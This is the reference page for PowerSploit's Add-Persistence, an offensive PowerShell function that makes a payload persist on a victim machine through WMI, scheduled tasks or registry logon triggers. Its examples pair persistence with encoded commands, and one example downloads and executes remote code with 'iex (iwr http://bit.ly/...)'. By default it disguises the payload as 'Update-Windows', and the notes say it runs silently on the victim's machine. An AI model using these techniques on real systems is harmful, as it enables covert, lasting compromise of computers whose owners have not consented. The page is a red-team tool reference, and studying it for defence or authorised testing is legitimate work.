# Add-Persistence ## SYNOPSIS Add persistence capabilities to a script. PowerSploit Function: Add-Persistence Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: New-ElevatedPersistenceOption, New-UserPersistenceOption Optional Dependencies: None ## SYNTAX ### ScriptBlock ``` Add-Persistence -ScriptBlock -ElevatedPersistenceOption -UserPersistenceOption [-PersistenceScriptName ] [-PersistentScriptFilePath ] [-RemovalScriptFilePath ] [-DoNotPersistImmediately] [-PassThru] ``` ### FilePath ``` Add-Persistence -FilePath -ElevatedPersistenceOption -UserPersistenceOption [-PersistenceScriptName ] [-PersistentScriptFilePath ] [-RemovalScriptFilePath ] [-DoNotPersistImmediately] [-PassThru] ``` ## DESCRIPTION Add-Persistence will add persistence capabilities to any script or scriptblock. This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted. ## EXAMPLES ### -------------------------- EXAMPLE 1 -------------------------- ``` $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' ``` $UserOptions = New-UserPersistenceOption -Registry -AtLogon Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose Description ----------- Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. ### -------------------------- EXAMPLE 2 -------------------------- ``` $Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) } ``` $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1 Description ----------- Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. The final, encoded output is finally saved to .\EncodedPersistentScript.ps1 ## PARAMETERS ### -ScriptBlock Specifies a scriptblock containing your payload. ```yaml Type: ScriptBlock Parameter Sets: ScriptBlock Aliases: Required: True Position: Named Default value: None Accept pipeline input: True (ByValue) Accept wildcard characters: False ``` ### -FilePath Specifies the path to your payload. ```yaml Type: String Parameter Sets: FilePath Aliases: Path Required: True Position: Named Default value: None Accept pipeline input: False Accept wildcard characters: False ``` ### -ElevatedPersistenceOption Specifies the trigger for the persistent payload if the target is running elevated. You must run New-ElevatedPersistenceOption to generate this argument. ```yaml Type: Object Parameter Sets: (All) Aliases: Required: True Position: Named Default value: None Accept pipeline input: False Accept wildcard characters: False ``` ### -UserPersistenceOption Specifies the trigger for the persistent payload if the target is not running elevated. You must run New-UserPersistenceOption to generate this argument. ```yaml Type: Object Parameter Sets: (All) Aliases: Required: True Position: Named Default value: None Accept pipeline input: False Accept wildcard characters: False ``` ### -PersistenceScriptName Specifies the name of the function that will wrap the original payload. The default value is 'Update-Windows'. ```yaml Type: String Parameter Sets: (All) Aliases: Required: False Position: Named Default value: Update-Windows Accept pipeline input: False Accept wildcard characters: False ``` ### -PersistentScriptFilePath Specifies the path where you would like to output the persistence script. By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory. ```yaml Type: String Parameter Sets: (All) Aliases: Required: False Position: Named Default value: "$PWD\Persistence.ps1" Accept pipeline input: False Accept wildcard characters: False ``` ### -RemovalScriptFilePath Specifies the path where you would like to output a script that will remove the persistent payload. By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory. ```yaml Type: String Parameter Sets: (All) Aliases: Required: False Position: Named Default value: "$PWD\RemovePersistence.ps1" Accept pipeline input: False Accept wildcard characters: False ``` ### -DoNotPersistImmediately Output only the wrapper function for the original payload. By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. it will end with 'Update-Windows -Persist'). If you are in a position where you are running in memory but want to persist at a later time, use this option. ```yaml Type: SwitchParameter Parameter Sets: (All) Aliases: Required: False Position: Named Default value: False Accept pipeline input: False Accept wildcard characters: False ``` ### -PassThru Outputs the contents of the persistent script to the pipeline. This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline. ```yaml Type: SwitchParameter Parameter Sets: (All) Aliases: Required: False Position: Named Default value: False Accept pipeline input: False Accept wildcard characters: False ``` ## INPUTS ### None Add-Persistence cannot receive any input from the pipeline. ## OUTPUTS ### System.Management.Automation.ScriptBlock If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script. ## NOTES When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine. ## RELATED LINKS [http://www.exploit-monday.com](http://www.exploit-monday.com)